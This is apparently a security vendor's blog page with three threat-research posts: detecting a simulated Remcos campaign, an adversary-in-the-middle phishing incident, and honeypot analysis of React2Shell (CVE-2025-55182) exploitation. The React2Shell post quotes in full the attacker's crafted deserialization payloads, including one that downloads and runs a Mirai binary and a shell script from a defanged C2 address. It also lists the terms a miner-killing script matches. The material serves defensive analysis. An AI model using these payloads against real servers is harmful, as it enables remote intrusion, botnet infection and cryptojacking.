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March 13, 2024

Simulated vs. Real Malware: What You Need To Know

Learn how Darktrace distinguishes between simulated and real malware. Discover the advanced detection techniques used to protect your network.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Priya Thapa
Cyber Analyst
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13
Mar 2024

Distinguishing attack simulations from the real thing

In an era marked by the omnipresence of digital technologies and the relentless advancement of cyber threats, organizations face an ongoing battle to safeguard their digital environment. Although red and blue team exercises have long served as cornerstones in evaluating organizational defenses, their reliance on manual processes poses significant constraints [1]. Led by seasoned security professionals, these tests offer invaluable insights into security readiness but can be marred by their resource-intensive and infrequent testing cycles. The gaps between assessments leave organizations open to undetected vulnerabilities, compromising the true state of their security environment. In response to the ever-changing threat landscape, organizations are adopting a proactive stance towards cyber security to fortify their defenses.

At the forefront, these efforts tend to revolve around simulated attacks, a process designed to test an organization's security posture against both known and emerging threats in a safe and controlled environment [2]. These meticulously orchestrated simulations imitate the tactics, techniques, and procedures (TTPs) employed by actual adversaries and provide organizations with invaluable insights into their security resilience and vulnerabilities. By immersing themselves in simulated attack scenarios, security teams can proactively probe for vulnerabilities, adopt a more aggressive defense posture, and stay ahead of evolving cyber threats.

Distinguishing between simulated malware observations and authentic malware activities stands as a critical imperative for organizations bolstering their cyber defenses. While simulated platforms offer controlled scenarios for testing known attack patterns, Darktrace’s Self-Learning AI can detect known and unknown threats, identify zero-day threats, and previously unseen malware variants, including attack simulations. Whereas simulated platforms focus on specific known attack vectors, Darktrace DETECT™ and Darktrace RESPOND™ can identify and contain both known and unknown threats across the entire attack surface, providing unparalleled protection of the cyber estate.

Darktrace’s Coverage of Simulated Attacks

In January 2024, the Darktrace Security Operations Center (SOC) received a high volume of alerts relating to an unspecified malware strain that was affecting multiple customers across the fleet, raising concerns, and prompting the Darktrace Analyst team to swiftly investigate the multitude of incident. Initially, these activities were identified as malicious, exhibiting striking resemblance to the characteristics of Remcos, a sophisticated remote access trojan (RAT) that can be used to fully control and monitor any Windows computer from XP and onwards [3]. However, further investigation revealed that these activities were intricately linked to a simulated malware provider.

This discovery underscores a pivotal insight into Darktrace’s capabilities. To this point, leveraging advanced AI, Darktrace operates with a sophisticated framework that extends beyond conventional threat detection. By analyzing network behavior and anomalies, Darktrace not only discerns between simulated threats, such as those orchestrated by breach and attack simulation platforms and genuine malicious activities but can also autonomously respond to these threats with RESPOND. This showcases Darktrace’s advanced capabilities in effectively mitigating cyber threats.

Attack Simulation Process: Initial Access and Intrusion

Darktrace initially observed devices breaching several DETECT models relating to the hostname “new-tech-savvy[.]com”, an endpoint that was flagged as malicious by multiple open-source intelligence (OSINT) vendors [4].

In addition, multiple HTML Application (HTA) file downloads were observed from the malicious endpoint, “new-tech-savvy[.]com/5[.]hta”. HTA files are often seen as part of the UAC-0050 campaign, known for its cyber-attacks against Ukrainian targets, which tends to leverage the Remcos RAT with advanced evasion techniques [5] [6]. Such files are often critical components of a malware operation, serving as conduits for the deployment of malicious payloads onto a compromised system. Often, within the HTA file resides a VBScript which, upon execution, triggers a PowerShell script. This PowerShell script is designed to facilitate the download of a malicious payload, namely “word_update.exe”, from a remote server. Upon successful execution, “word_update.exe” is launched, invoking cmd.exe and initiating the sharing of malicious data. This process results in the execution of explorer.exe, with the malicious RemcosRAT concealed within the memory of explorer.exe. [7].

As the customers were subscribed to Darktrace’s Proactive Threat Notification (PTN) service, an Enhanced Monitoring model was breached upon detection of the malicious HTA file. Enhanced Monitoring models are high-fidelity DETECT models designed to identify activity likely to be indicative of compromise. These PTN alerts were swiftly investigated by Darktrace’s round the clock SOC team.

Following this successful detection, Darktrace RESPOND took immediate action by autonomously blocking connections to the malicious endpoint, effectively preventing additional download attempts. Similar activity may be seen in the case of a legitimate malware attack; however, in this instance, the hostname associated with the download confirmed the detected malicious activity was the result of an attack simulation.

Figure 1: The Breach Log displays the model breach, “Anomalous File/Incoming HTA File”, where a device was detected downloading the HTA file, “5.hta” from the endpoint, “new-tech-savvy[.]com”.
'
Figure 2: The Model Breach Event Log shows a device making connections to the endpoint, “new-tech-savvy[.]com”. As a result, theRESPOND model, “Antigena/Network/External Threat/Antigena File then New Outbound Block", breached and connections to this malicious endpoint were blocked.
Figure 3: The Breach Log further showcases another RESPOND model, “Antigena/Network/External Threat/Antigena Suspicious File Block", which was triggered when the device downloaded a  HTA file from the malicious endpoint, “new-tech-savvy[.]com".

In other cases, Darktrace observed SSL and HTTP connections also attributed to the same simulated malware provider, highlighting Darktrace’s capability to distinguish between legitimate and simulated malware attack activity.

Figure 4: The Model Breach “Anomalous Connection/Low and Slow Exfiltration" displays the hostname of a simulated malware provider, confirming the detected malicious activity as the result of an attack simulation.
Figure 5: The Model Breach Event Log shows the SSL connections made to an endpoint associated with the simulated malware provider.
Figure 6: Darktrace’s Advanced Search displays SSL connection logs to the endpoint of the simulated malware provider around the time the simulation activity was observed.

Upon detection of the malicious activity occurring within affected customer networks, Darktrace’s Cyber AI Analyst™ investigated and correlated the events at machine speed. Figure 8 illustrates the synopsis and additional technical information that AI Analyst generated on one customer’s environment, detailing that over 220 HTTP queries to 18 different endpoints for a single device were seen. The investigation process can also be seen in the screenshot, showcasing Darktrace’s ability to provide ‘explainable AI’ detail. AI Analyst was able to autonomously search for all HTTP connections made by the breach device and identified a single suspicious software agent making one HTTP request to the endpoint, 45.95.147[.]236.

Furthermore, the malicious endpoints, 45.95.147[.]236, previously observed in SSH attacks using brute-force or stolen credentials, and “tangible-drink.surge[.]sh”, associated with the Androxgh0st malware [8] [9] [10], were detected to have been requested by another device.

This highlights Darktrace’s ability to link and correlate seemingly separate events occurring on different devices, which could indicate a malicious attack spreading across the network.  AI Analyst was also able to identify a username associated with the simulated malware prior to the activity through Kerberos Authentication Service (AS) requests. The device in question was also tagged as a ‘Security Device’ – such tags provide human analysts with valuable context about expected device activity, and in this case, the tag corroborates with the testing activity seen. This exemplifies how Darktrace’s Cyber AI Analyst takes on the labor-intensive task of analyzing thousands of connections to hundreds of endpoints at a rapid pace, then compiling results into a single pane that provides customer security teams with the information needed to evaluate activities observed on a device.

All in all, this demonstrates how Darktrace’s Self-Learning AI is capable of offering an unparalleled level of awareness and visibility over any anomalous and potentially malicious behavior on the network, saving security teams and administrators a great deal of time.

Figure 7: Cyber AI Analyst Incident Log containing a summary of the attack simulation activity,, including relevant technical details, and the AI investigation process.

Conclusion

Simulated cyber-attacks represent the ever-present challenge of testing and validating security defenses, while the threat of legitimate compromise exemplifies the constant risk of cyber threats in today’s digital landscape. Darktrace emerges as the solution to this conflict, offering real-time detection and response capabilities that identify and mitigate simulated and authentic threats alike.

While simulations are crafted to mimic legitimate threats within predefined parameters and controlled environments, the capabilities of Darktrace DETECT transcend these limitations. Even in scenarios where intent is not malicious, Darktrace’s ability to identify anomalies and raise alerts remains unparalleled. Moreover, Darktrace’s AI Analyst and autonomous response technology, RESPOND, underscore Darktrace’s indispensable role in safeguarding organizations against emerging threats.

Credit to Priya Thapa, Cyber Analyst, Tiana Kelly, Cyber Analyst & Analyst Team Lead

Appendices

Model Breaches

Darktrace DETECT Model Breach Coverage

Anomalous File / Incoming HTA File

Anomalous Connection / Low and Slow Exfiltration

Darktrace RESPOND Model Breach Coverage

§  Antigena / Network/ External Threat/ Antigena File then New Outbound Block

Cyber AI Analyst Incidents

• Possible HTTP Command and Control

• Suspicious File Download

List of IoCs

IP Address

38.52.220[.]2 - Malicious Endpoint

46.249.58[.]40 - Malicious Endpoint

45.95.147[.]236 - Malicious Endpoint

Hostname

tangible-drink.surge[.]sh - Malicious Endpoint

new-tech-savvy[.]com - Malicious Endpoint

References

1.     https://xmcyber.com/glossary/what-are-breach-and-attack-simulations/

2.     https://www.picussecurity.com/resource/glossary/what-is-an-attack-simulation

3.     https://success.trendmicro.com/dcx/s/solution/1123281-remcos-malware-information?language=en_US&sfdcIFrameOrigin=null

4.     https://www.virustotal.com/gui/url/c145cf7010545791602e9585f447347c75e5f19a0850a24e12a89325ded88735

5.     https://www.virustotal.com/gui/url/7afd19e5696570851e6413d08b6f0c8bd42f4b5a19d1e1094e0d1eb4d2e62ce5

6.     https://thehackernews.com/2024/01/uac-0050-group-using-new-phishing.html

7.     https://www.uptycs.com/blog/remcos-rat-uac-0500-pipe-method

8.     https://www.virustotal.com/gui/ip-address/45.95.147.236/community

9.     https://www.virustotal.com/gui/domain/tangible-drink.surge.sh/community

10.  https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-016a

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Priya Thapa
Cyber Analyst

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December 15, 2025

Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with Darktrace

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What is an Adversary-in-the-middle (AiTM) attack?

Adversary-in-the-Middle (AiTM) attacks are a sophisticated technique often paired with phishing campaigns to steal user credentials. Unlike traditional phishing, which multi-factor authentication (MFA) increasingly mitigates, AiTM attacks leverage reverse proxy servers to intercept authentication tokens and session cookies. This allows attackers to bypass MFA entirely and hijack active sessions, stealthily maintaining access without repeated logins.

This blog examines a real-world incident detected during a Darktrace customer trial, highlighting how Darktrace / EMAILTM and Darktrace / IDENTITYTM identified the emerging compromise in a customer’s email and software-as-a-service (SaaS) environment, tracked its progression, and could have intervened at critical moments to contain the threat had Darktrace’s Autonomous Response capability been enabled.

What does an AiTM attack look like?

Inbound phishing email

Attacks typically begin with a phishing email, often originating from the compromised account of a known contact like a vendor or business partner. These emails will often contain malicious links or attachments leading to fake login pages designed to spoof legitimate login platforms, like Microsoft 365, designed to harvest user credentials.

Proxy-based credential theft and session hijacking

When a user clicks on a malicious link, they are redirected through an attacker-controlled proxy that impersonates legitimate services.  This proxy forwards login requests to Microsoft, making the login page appear legitimate. After the user successfully completes MFA, the attacker captures credentials and session tokens, enabling full account takeover without the need for reauthentication.

Follow-on attacks

Once inside, attackers will typically establish persistence through the creation of email rules or registering OAuth applications. From there, they often act on their objectives, exfiltrating sensitive data and launching additional business email compromise (BEC) campaigns. These campaigns can include fraudulent payment requests to external contacts or internal phishing designed to compromise more accounts and enable lateral movement across the organization.

Darktrace’s detection of an AiTM attack

At the end of September 2025, Darktrace detected one such example of an AiTM attack on the network of a customer trialling Darktrace / EMAIL and Darktrace / IDENTITY.

In this instance, the first indicator of compromise observed by Darktrace was the creation of a malicious email rule on one of the customer’s Office 365 accounts, suggesting the account had likely already been compromised before Darktrace was deployed for the trial.

Darktrace / IDENTITY observed the account creating a new email rule with a randomly generated name, likely to hide its presence from the legitimate account owner. The rule marked all inbound emails as read and deleted them, while ignoring any existing mail rules on the account. This rule was likely intended to conceal any replies to malicious emails the attacker had sent from the legitimate account owner and to facilitate further phishing attempts.

Darktrace’s detection of the anomalous email rule creation.
Figure 1: Darktrace’s detection of the anomalous email rule creation.

Internal and external phishing

Following the creation of the email rule, Darktrace / EMAIL observed a surge of suspicious activity on the user’s account. The account sent emails with subject lines referencing payment information to over 9,000 different external recipients within just one hour. Darktrace also identified that these emails contained a link to an unusual Google Drive endpoint, embedded in the text “download order and invoice”.

Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.
Figure 2: Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.
Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.
Figure 3: Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.

As Darktrace / EMAIL flagged the message with the ‘Compromise Indicators’ tag (Figure 2), it would have been held automatically if the customer had enabled default Data Loss Prevention (DLP) Action Flows in their email environment, preventing any external phishing attempts.

Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.
Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.

Darktrace analysis revealed that, after clicking the malicious link in the email, recipients would be redirected to a convincing landing page that closely mimicked the customer’s legitimate branding, including authentic imagery and logos, where prompted to download with a PDF named “invoice”.

Figure 5: Download and login prompts presented to recipients after following the malicious email link, shown here in safe view.

After clicking the “Download” button, users would be prompted to enter their company credentials on a page that was likely a credential-harvesting tool, designed to steal corporate login details and enable further compromise of SaaS and email accounts.

Darktrace’s Response

In this case, Darktrace’s Autonomous Response was not fully enabled across the customer’s email or SaaS environments, allowing the compromise to progress,  as observed by Darktrace here.

Despite this, Darktrace / EMAIL’s successful detection of the malicious Google Drive link in the internal phishing emails prompted it to suggest ‘Lock Link’, as a recommended action for the customer’s security team to manually apply. This action would have automatically placed the malicious link behind a warning or screening page blocking users from visiting it.

Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.
Figure 6: Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.

Furthermore, if active in the customer’s SaaS environment, Darktrace would likely have been able to mitigate the threat even earlier, at the point of the first unusual activity: the creation of a new email rule. Mitigative actions would have included forcing the user to log out, terminating any active sessions, and disabling the account.

Conclusion

AiTM attacks represent a significant evolution in credential theft techniques, enabling attackers to bypass MFA and hijack active sessions through reverse proxy infrastructure. In the real-world case we explored, Darktrace’s AI-driven detection identified multiple stages of the attack, from anomalous email rule creation to suspicious internal email activity, demonstrating how Autonomous Response could have contained the threat before escalation.

MFA is a critical security measure, but it is no longer a silver bullet. Attackers are increasingly targeting session tokens rather than passwords, exploiting trusted SaaS environments and internal communications to remain undetected. Behavioral AI provides a vital layer of defense by spotting subtle anomalies that traditional tools often miss

Security teams must move beyond static defenses and embrace adaptive, AI-driven solutions that can detect and respond in real time. Regularly review SaaS configurations, enforce conditional access policies, and deploy technologies that understand “normal” behavior to stop attackers before they succeed.

Credit to David Ison (Cyber Analyst), Bertille Pierron (Solutions Engineer), Ryan Traill (Analyst Content Lead)

Appendices

Models

SaaS / Anomalous New Email Rule

Tactic – Technique – Sub-Technique  

Phishing - T1566

Adversary-in-the-Middle - T1557

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December 16, 2025

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within Hours

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within HoursDefault blog imageDefault blog image

What is React2Shell?

CVE-2025-55182, also known as React2Shell is a vulnerability within React server components that allows for an unauthenticated attacker to gain remote code execution with a single request. The severity of this vulnerability and ease of exploitability has led to threat actors opportunistically exploiting it within a matter of days of its public disclosure.

Darktrace security researchers rapidly deployed a new honeypot using the Cloudypots system, allowing for the monitoring of exploitation of the vulnerability in the wild.

Cloudypots is a system that enables virtual instances of vulnerable applications to be deployed in the cloud and monitored for attack. This approach allows for Darktrace to deploy high-interaction, realistic honeypots, that appear as genuine deployments of vulnerable software to attackers.

This blog will explore one such campaign, nicknamed “Nuts & Bolts” based on the naming used in payloads.

Analysis of the React2Shell exploit

The React2Shell exploit relies on an insecure deserialization vulnerability within React Server Components’ “Flight” protocol. This protocol uses a custom serialization scheme that security researchers discovered could be abused to run arbitrary JavaScript by crafting the serialized data in a specific way. This is possible because the framework did not perform proper type checking, allowing an attacker to reference types that can be abused to craft a chain that resolves to an anonymous function, and then invoke it with the desired JavaScript as a promise chain.

This code execution can then be used to load the ‘child_process’ node module and execute any command on the target server.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day [1]. Within 30 hours of the patch, a publicly available proof of concept emerged that could be used to exploit any vulnerable server. This rapid timeline left many servers remaining unpatched by the time attackers began actively exploiting the vulnerability.

Initial access

The threat actor behind the “Nuts & Bolts” campaign uses a spreader server with IP 95.214.52[.]170 to infect victims. The IP appears to be located in Poland and is associated with a hosting provided known as MEVSPACE. The spreader is highly aggressive, launching exploitation attempts, roughly every hour.

When scanning, the spreader primarily targets port 3000, which is the default port for a NEXT.js server in a default or development configuration. It is possible the attacker is avoiding port 80 and 443, as these are more likely to have reverse proxies or WAFs in front of the server, which could disrupt exploitation attempts.

When the spreader finds a new host with port 3000 open, it begins by testing if it is vulnerable to React2Shell by sending a crafted request to run the ‘whoami’ command and store the output in an error digest that is returned to the attacker.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(whoami)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

The above snippet is the core part of the crafted request that performs the execution. This allows the attacker to confirm that the server is vulnerable and fetch the user account under which the NEXT.js process is running, which is useful information for determining if a target is worth attacking.

From here, the attacker then sends an additional request to run the actual payload on the victim server.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;(busybox wget -O x86 hxxp://89[.]144.31.18/nuts/x86%7C%7Ccurl -s -o x86 hxxp://89[.]144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||curl -s hxxp://89[.]144.31.18/nuts/bolts)%7Csh)&',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

This snippet attempts to deploy several payloads by using wget (or curl if wget fails) into the /dev directory and execute them. The x86 binary is a Mirai variant that does not appear to have any major alterations to regular Mirai. The ‘nuts/bolts’ endpoint returns a bash script, which is then executed. The script includes several log statements throughout its execution to provide visibility into which parts ran successfully. Similar to the ‘whoami’ request, the output is placed in an error digest for the attacker to review.

In this case, the command-and-control (C2) IP, 89[.]144.31.18, is hosted on a different server operated by a German hosting provider named myPrepaidServer, which offers virtual private server (VPS) services and accepts cryptocurrency payments [2].  

Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.
Figure 1: Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.

Nuts & Bolts script

This script’s primary purpose is to prepare the box for a cryptocurrency miner.

The script starts by attempting to terminate any competing cryptocurrency miner processes using ‘pkill’ that match on a specific name. It will check for and terminate:

  • xmrig
  • softirq (this also matches a system process, which it will fail to kill each invocation)
  • watcher
  • /tmp/a.sh
  • health.sh

Following this, the script will checks for a process named “fghgf”. If it is not running, it will retrieve hxxp://89[.]144.31.18/nuts/lc and write it to /dev/ijnegrrinje.json, as well as retrieving hxxp://89[.]144.31.18/nuts/x and writing it to /dev/fghgf. The script will the executes /dev/fghgf -c /dev/ijnegrrinje.json -B in the background, which is an XMRig miner.

The XMRig deployment script.
Figure 2: The XMRig deployment script.

The miner is configured to connect to two private pools at 37[.]114.37.94 and 37[.]114.37.82, using  “poop” as both the username and password. The use of a private pool conceals the associated wallet address. From here, a short bash script is dropped to /dev/stink.sh. This script continuously crawls all running processes on the system and reads their /proc/pid/exe path, which contains a copy of the original executable that was run. The ‘strings’ utility is run to output all valid ASCII strings found within the data and checks to see if contains either “xmrig”, “rondo” or “UPX 5”. If so, it sends a SIGKILL to the process to terminate it.

Additionally, it will run ‘ls –l’ on the exe path in case it is symlinked to a specific path or has been deleted. If the output contains any of the following strings, the script sends a SIGKILL to terminate the program:

  • (deleted) - Indicates that the original executable was deleted from the disk, a common tactic used by malware to evade detection.
  • xmrig
  • hash
  • watcher
  • /dev/a
  • softirq
  • rondo
  • UPX 5.02
 The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.
Figure 3: The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.

Darktrace observations in customer environments  

Following the public disclosure of CVE‑2025‑55182 on December, Darktrace observed multiple exploitation attempts across customer environments beginning around December 4. Darktrace triage identified a series of consistent indicators of compromise (IoCs). By consolidating indicators across multiple deployments and repeat infrastructure clusters, Darktrace identified a consistent kill chain involving shell‑script downloads and HTTP beaconing.

In one example, on December 5, Darktrace observed external connections to malicious IoC endpoints (172.245.5[.]61:38085, 5.255.121[.]141, 193.34.213[.]15), followed by additional connections to other potentially malicious endpoint. These appeared related to the IoCs detailed above, as one suspicious IP address shared the same ASN. After this suspicious external connectivity, Darktrace observed cryptomining-related activity. A few hours later, the device initiated potential lateral movement activity, attempting SMB and RDP sessions with other internal devices on the network. These chain of events appear to identify this activity to be related to the malicious campaign of the exploitation of React2Shell vulnerability.

Generally, outbound HTTP traffic was observed to ports in the range of 3000–3011, most notably port 3001. Requests frequently originated from scripted tools, with user agents such as curl/7.76.1, curl/8.5.0, Wget/1.21.4, and other generic HTTP signatures. The URIs associated with these requests included paths like /nuts/x86 and /n2/x86, as well as long, randomized shell script names such as /gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh. In some cases, parameterized loaders were observed, using query strings like: /?h=<ip>&p=<port>&t=<proto>&a=l64&stage=true.  

Infrastructure analysis revealed repeated callbacks to IP-only hosts linked to ASN AS200593 (Prospero OOO), a well-known “bulletproof” hosting provider often utilized by cyber criminals [3], including addresses such as 193.24.123[.]68:3001 and 91.215.85[.]42:3000, alongside other nodes hosting payloads and staging content.

Darktrace model coverage

Darktrace model coverage consistently highlighted behaviors indicative of exploitation. Among the most frequent detections were anomalous server activity on new, non-standard ports and HTTP requests posted to IP addresses without hostnames, often using uncommon application protocols. Models also flagged the appearance of new user agents such as curl and wget originating from internet-facing systems, representing an unusual deviation from baseline behavior.  

Additionally, observed activity included the download of scripts and executable files from rare external sources, with Darktrace’s Autonomous Response capability intervening to block suspicious transfers, when enabled. Beaconing patterns were another strong signal, with detections for HTTP beaconing to new or rare IP addresses, sustained SSL or HTTP increases, and long-running compromise indicators such as “Beacon for 4 Days” and “Slow Beaconing.”

Conclusion

While this opportunistic campaign to exploit the React2Shell exploit is not particularly sophisticated, it demonstrates that attackers can rapidly prototyping new methods to take advantage of novel vulnerabilities before widespread patching occurs. With a time to infection of only two minutes from the initial deployment of the honeypot, this serves as a clear reminder that patching vulnerabilities as soon as they are released is paramount.

Credit to Nathaniel Bill (Malware Research Engineer), George Kim (Analyst Consulting Lead – AMS), Calum Hall (Technical Content Researcher), Tara Gould (Malware Research Lead, and Signe Zaharka (Principal Cyber Analyst).

Edited by Ryan Traill (Analyst Content Lead)

Appendices

IoCs

Spreader IP - 95[.]214.52.170

C2 IP - 89[.]144.31.18

Mirai hash - 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb

Xmrig hash - aa6e0f4939135feed4c771e4e4e9c22b6cedceb437628c70a85aeb6f1fe728fa

Config hash - 318320a09de5778af0bf3e4853d270fd2d390e176822dec51e0545e038232666

Monero pool 1 - 37[.]114.37.94

Monero pool 2 - 37[.]114.37.82

References  

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-55182

[2] https://myprepaid-server.com/

[3] https://krebsonsecurity.com/2025/02/notorious-malware-spam-host-prospero-moves-to-kaspersky-lab

Darktrace Model Coverage

Anomalous Connection::Application Protocol on Uncommon Port

Anomalous Connection::New User Agent to IP Without Hostname

Anomalous Connection::Posting HTTP to IP Without Hostname

Anomalous File::Script and EXE from Rare External

Anomalous File::Script from Rare External Location

Anomalous Server Activity::New User Agent from Internet Facing System

Anomalous Server Activity::Rare External from Server

Antigena::Network::External Threat::Antigena Suspicious File Block

Antigena::Network::External Threat::Antigena Watched Domain Block

Compromise::Beacon for 4 Days

Compromise::Beacon to Young Endpoint

Compromise::Beaconing Activity To External Rare

Compromise::High Volume of Connections with Beacon Score

Compromise::HTTP Beaconing to New IP

Compromise::HTTP Beaconing to Rare Destination

Compromise::Large Number of Suspicious Failed Connections

Compromise::Slow Beaconing Activity To External Rare

Compromise::Sustained SSL or HTTP Increase

Device::New User Agent

Device::Threat Indicator

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Nathaniel Bill
Malware Research Engineer
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